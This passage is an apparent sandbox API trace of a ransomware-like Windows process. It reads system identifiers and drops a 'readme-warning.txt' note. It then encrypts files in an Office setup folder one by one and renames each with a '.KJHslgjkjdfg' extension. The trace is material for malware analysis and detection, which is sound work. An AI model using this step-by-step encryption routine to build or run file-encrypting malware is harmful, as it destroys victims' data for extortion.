pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0169.522] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.522] GetProcessHeap () returned 0x2ef0000 [0169.522] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0169.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.522] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0169.522] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.522] GetProcessHeap () returned 0x2ef0000 [0169.522] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0169.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.522] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0169.522] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.522] GetProcessHeap () returned 0x2ef0000 [0169.522] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0169.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.522] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0169.522] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.522] GetProcessHeap () returned 0x2ef0000 [0169.522] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.522] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.522] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0169.522] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.523] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0169.523] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, lpcbData=0x4dfe77c*=0x18) returned 0x0 [0169.523] RegCloseKey (hKey=0x118) returned 0x0 [0169.523] GetProcessHeap () returned 0x2ef0000 [0169.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0169.523] GetProcessHeap () returned 0x2ef0000 [0169.523] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.523] GetProcessHeap () returned 0x2ef0000 [0169.523] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.523] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.523] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe54c | out: pbData=0x2f11728, pdwDataLen=0x4dfe54c) returned 1 [0169.523] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.523] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0169.523] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0169.524] GetProcessHeap () returned 0x2ef0000 [0169.524] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0169.524] wsprintfA (in: param_1=0x4dfe797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0169.524] wsprintfA (in: param_1=0x4dfeba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0169.524] GetProcessHeap () returned 0x2ef0000 [0169.524] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f41a98 [0169.524] wsprintfW (in: param_1=0x4dfdb74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\readme-warning.txt") returned 111 [0169.524] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.524] WriteFile (in: hFile=0x118, lpBuffer=0x2f41a98*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfdb70, lpOverlapped=0x0 | out: lpBuffer=0x2f41a98*, lpNumberOfBytesWritten=0x4dfdb70*=0x3b3, lpOverlapped=0x0) returned 1 [0169.525] CloseHandle (hObject=0x118) returned 1 [0169.526] GetProcessHeap () returned 0x2ef0000 [0169.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f416d0 | out: hHeap=0x2ef0000) returned 1 [0169.526] GetProcessHeap () returned 0x2ef0000 [0169.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f41a98 | out: hHeap=0x2ef0000) returned 1 [0169.526] GetProcessHeap () returned 0x2ef0000 [0169.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0169.526] GetProcessHeap () returned 0x2ef0000 [0169.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.526] FindClose (in: hFindFile=0x2f18308 | out: hFindFile=0x2f18308) returned 1 [0169.526] GetProcessHeap () returned 0x2ef0000 [0169.526] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0169.526] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2ef0138, dwReserved1=0x77c7387a, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0169.526] GetProcessHeap () returned 0x2ef0000 [0169.526] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xc8) returned 0x2f14588 [0169.526] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18308 [0169.527] GetProcessHeap () returned 0x2ef0000 [0169.527] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0169.527] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0169.527] GetProcessHeap () returned 0x2ef0000 [0169.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2ca) returned 0x2f47728 [0169.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.527] GetProcessHeap () returned 0x2ef0000 [0169.527] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.527] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.527] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.527] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x3, lpOverlapped=0x0) returned 1 [0169.530] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.530] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.530] GetProcessHeap () returned 0x2ef0000 [0169.530] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.530] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfed48*=0x40) returned 1 [0169.530] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.530] WriteFile (in: hFile=0x118, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfed60*=0x40, lpOverlapped=0x0) returned 1 [0169.531] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.531] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.531] WriteFile (in: hFile=0x118, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.531] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.531] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.531] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.531] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.531] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.531] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x61d, lpOverlapped=0x0) returned 1 [0169.531] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x620, dwBufLen=0x620 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x620) returned 1 [0169.531] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.531] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x620, lpOverlapped=0x0) returned 1 [0169.532] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.532] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.532] SetEndOfFile (hFile=0x118) returned 1 [0169.535] GetProcessHeap () returned 0x2ef0000 [0169.535] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0169.535] GetProcessHeap () returned 0x2ef0000 [0169.535] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.kjhslgjkjdfg")) returned 1 [0169.539] CloseHandle (hObject=0x118) returned 1 [0169.539] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0169.539] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0169.540] GetProcessHeap () returned 0x2ef0000 [0169.540] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0169.540] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0169.540] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed80 | out: lpNewFilePointer=0x0) returned 1 [0169.541] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed90*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.543] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.543] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.543] GetProcessHeap () returned 0x2ef0000 [0169.543] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0169.543] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfed48*=0x30) returned 1 [0169.543] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.543] WriteFile (in: hFile=0x118, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfed60*=0x30, lpOverlapped=0x0) returned 1 [0169.543] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed68*, lpNumberOfBytesWritten=0x4dfed60*=0x4, lpOverlapped=0x0) returned 1 [0169.543] WriteFile (in: hFile=0x118, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfed60*=0x10, lpOverlapped=0x0) returned 1 [0169.544] WriteFile (in: hFile=0x118, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfed60*=0x80, lpOverlapped=0x0) returned 1 [0169.544] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dfed88 | out: lpNewFilePointer=0x0) returned 1 [0169.544] WriteFile (in: hFile=0x118, lpBuffer=0x4dfed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4dfed78*, lpNumberOfBytesWritten=0x4dfed60*=0x8, lpOverlapped=0x0) returned 1 [0169.544] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfed64 | out: phKey=0x4dfed64*=0x2f18348) returned 1 [0169.544] CryptSetKeyParam (hKey=0x2f18348, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0169.544] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.544] ReadFile (in: hFile=0x118, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x4dfed6c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfed6c*=0x8f8, lpOverlapped=0x0) returned 1 [0169.544] CryptEncrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x900, dwBufLen=0x900 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfed48*=0x900) returned 1 [0169.544] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.544] WriteFile (in: hFile=0x118, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x4dfed60, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfed60*=0x900, lpOverlapped=0x0) returned 1 [0169.545] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.545] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0169.545] SetEndOfFile (hFile=0x118) returned 1 [0169.547] GetProcessHeap () returned 0x2ef0000 [0169.547] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0169.547] GetProcessHeap () returned 0x2ef0000 [0169.548] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0169.548] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0169.555] CloseHandle (hObject=0x118) returned 1 [0169.555] FindNextFileW (in: hFindFile=0x2f18308, lpFindFileData=0x4dfedf0 | out: lpFindFileData=0x4dfedf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0169.555] GetProcessHeap () returned 0x2ef0000 [0169.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0169.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.555] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c898, pdwDataLen=0x4dfeb98) returned 1 [0169.555] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.555] GetProcessHeap () returned 0x2ef0000 [0169.555] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0169.555] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.555] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfeb98) returned 1 [0169.555] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.556] GetProcessHeap () returned 0x2ef0000 [0169.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f416d0 [0169.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfeb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.556] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f416d0, pdwDataLen=0x4dfeb98 | out: pbData=0x2f416d0, pdwDataLen=0x4dfeb98) returned 1 [0169.556] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.556] GetProcessHeap () returned 0x2ef0000 [0169.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0169.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.556] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfe778 | out: pbData=0x2f0c928, pdwDataLen=0x4dfe778) returned 1 [0169.556] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.556] GetProcessHeap () returned 0x2ef0000 [0169.556] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0169.556] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18348) returned 1 [0169.556] CryptDecrypt (in: hKey=0x2f18348, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe778 | out: pbData=0x2f11728, pdwDataLen=0x4dfe778) returned 1 [0169.556] CryptDestroyKey (hKey=0x2f18348) returned 1 [0169.556] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe774 | out: phkResult=0x4dfe774*=0x118) returned 0x0 [0169.557] RegQueryValueExA (in: hKey=0x118, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfe780, lpcbData=0x4dfe77c*=0x400 | out: lpType=0x0, lpData=0x4dfe780*=0x30, 